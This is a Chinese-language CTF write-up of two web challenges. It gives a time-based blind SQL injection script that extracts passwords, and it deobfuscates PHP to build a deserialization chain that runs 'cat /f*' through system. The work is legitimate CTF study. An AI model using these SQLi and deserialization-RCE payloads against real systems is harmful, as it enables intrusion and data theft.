web题解 Easy_SQLi or 雏形系统（解题方法思想）

1.Easy_SQLi

1）打开题目环境，如下是一个类似弱密码的格式，但是它又说是sql，还是按sql注入来

2）.这里我尝试判断它的注入类型，但是一只不对，我便想着用万能密码试试，怎料直接登录成功

3）.成功后还是找不到如何进行下一步解题，然后还是打算用sqlmap跑一下，

先爆一下数据库，看到注入类型是，布尔盲注和报错注入

4）.然后里面爆出来有六张表，找了之后打开第六张word

5）.然后接着爆字段，发现articles里面有东西，接着打开，

6）.令我没想到的是它给了个假的flag

一时间陷入了疑惑

··················

7）.然后就去找了大佬的wp看，直接根据报错提示编个脚本，放进去一跑然后再等它运行

flag就出来了

这里脚本用的也是大佬的

import requests
 
url = 'http://challenge.qsnctf.com:32667/login.php'
res = ""
 
for i in range(1, 48, 1):
    for j in range(32, 128, 1):
        # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'
        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"
        payload = f"if(ascii(substr((select group_concat(password) from users),{i},1))>{j},sleep(0.5),0)#"
        data = {
            'uname': "admin' and "+payload,
            'psw':123456
        }
        try:
            r = requests.post(url=url, data=data,timeout=0.2)
        except Exception as e:
            continue
 
        res += chr(j)
        print(res)
        break

2.雏形系统

1）进入题目环境，又是类似弱比较的上传界面，但是不论用弱口令还是，sql语句都出错，没有啥用，

2）用dirsearch扫扫看它有没有隐藏什么文件

3）扫完果然有东西，一个php网页文件和一个txt文件，发现有用的东西好像都在php文件里，txt文件里暂时不知道它有啥用

4）php文件如下：

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Page</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f0f0f0;
            padding: 20px;
        }

        .container {
            max-width: 400px;
            margin: 0 auto;
            background-color: #fff;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }

        .alert {
            padding: 10px;
            background-color: #f8d7da;
            color: #721c24;
            border-radius: 5px;
            margin-bottom: 10px;
        }

        form {
            margin-bottom: 20px;
        }

        form input[type="text"],
        form input[type="password"],
        form input[type="submit"] {
            width: 100%;
            padding: 10px;
            margin-bottom: 10px;
            border: 1px solid #ccc;
            border-radius: 3px;
        }

        form input[type="submit"] {
            background-color: #007bff;
            color: #fff;
            border: none;
            cursor: pointer;
        }
    </style>
</head>

<body>
<div class="container">
    <h1>Welcome to the login testing page!</h1>
    <hr>
    <?php
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
    ?>
    <form method="POST">
        <input type="text" name="username" placeholder="Username" required>
        <input type="password" name="password" placeholder="Password" required>
        <input type="submit" value="Login">
    </form>

</div>
</body>

</html>

5）看了半天也不知道它有啥用，后来看了其他大佬的wp才知道审计后，有用的就只有下面这些

<?php
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
    ?>

6）说是这里用到一个新知识点：phpjm的混淆内容还原

大致操作步骤理解为看到下边类似qsnctf.php文件类型的代码，需要你还原一下原来的代码长什么样子，具体操作方法有三个“手动结混淆”，“debug解混淆”，“编写脚本”。

要先把qsnctf.php的eval改成echo

然后得到

$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));?>

7）然后将得到的代码复制并将前面的替换diao再把eval替换为echo，然后再次运行

可以得到一篇新代码

<?php
    error_reporting(0);
 
    class shi
    {
        public $next;
        public $pass;
        public function __toString(){
            $this->next::PLZ($this->pass);
        }
    }
    class wo
    {
        public $sex;
        public $age;
        public $intention;
        public function __destruct(){
            echo "Hi Try serialize Me!";
            $this->inspect();
        }
        function inspect(){
            if($this->sex=='boy'&&$this->age=='eighteen')
            {
                echo $this->intention;
            }
            echo "🙅18岁🈲";
        }
    }
 
    class Demo
    {
        public $a;
        static function __callStatic($action, $do)
        {
            global $b;
            $b($do[0]);
        }
    }
 
    $b = $_POST['password'];
    $a = $_POST['username'];
    @unserialize($a);
    if (!isset($b)) {
        echo "==================PLZ Input Your Name!==================";
    }
    if($a=='admin'&&$b=="'k1fuhu's test demo")
    {
        echo("登录成功");
    }
 
    ?>

8）然后需要代码审计再者就是用到反序列化的知识，需要配个链子把它序列化

<?php
class shi{}
class wo{}
class Demo{}
 
$c=new Demo();
$b=new shi();
$a=new wo();
$a->sex='boy';
$a->age='eighteen';
$a->intention=$b;
$b->next=$c;
$b->pass='cat /f*';
echo serialize($a);

9）然后运行可以得到序列化的代码：

username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:7:"cat /f*";}}&password=system

10）然后用hackbar上传即可得到flag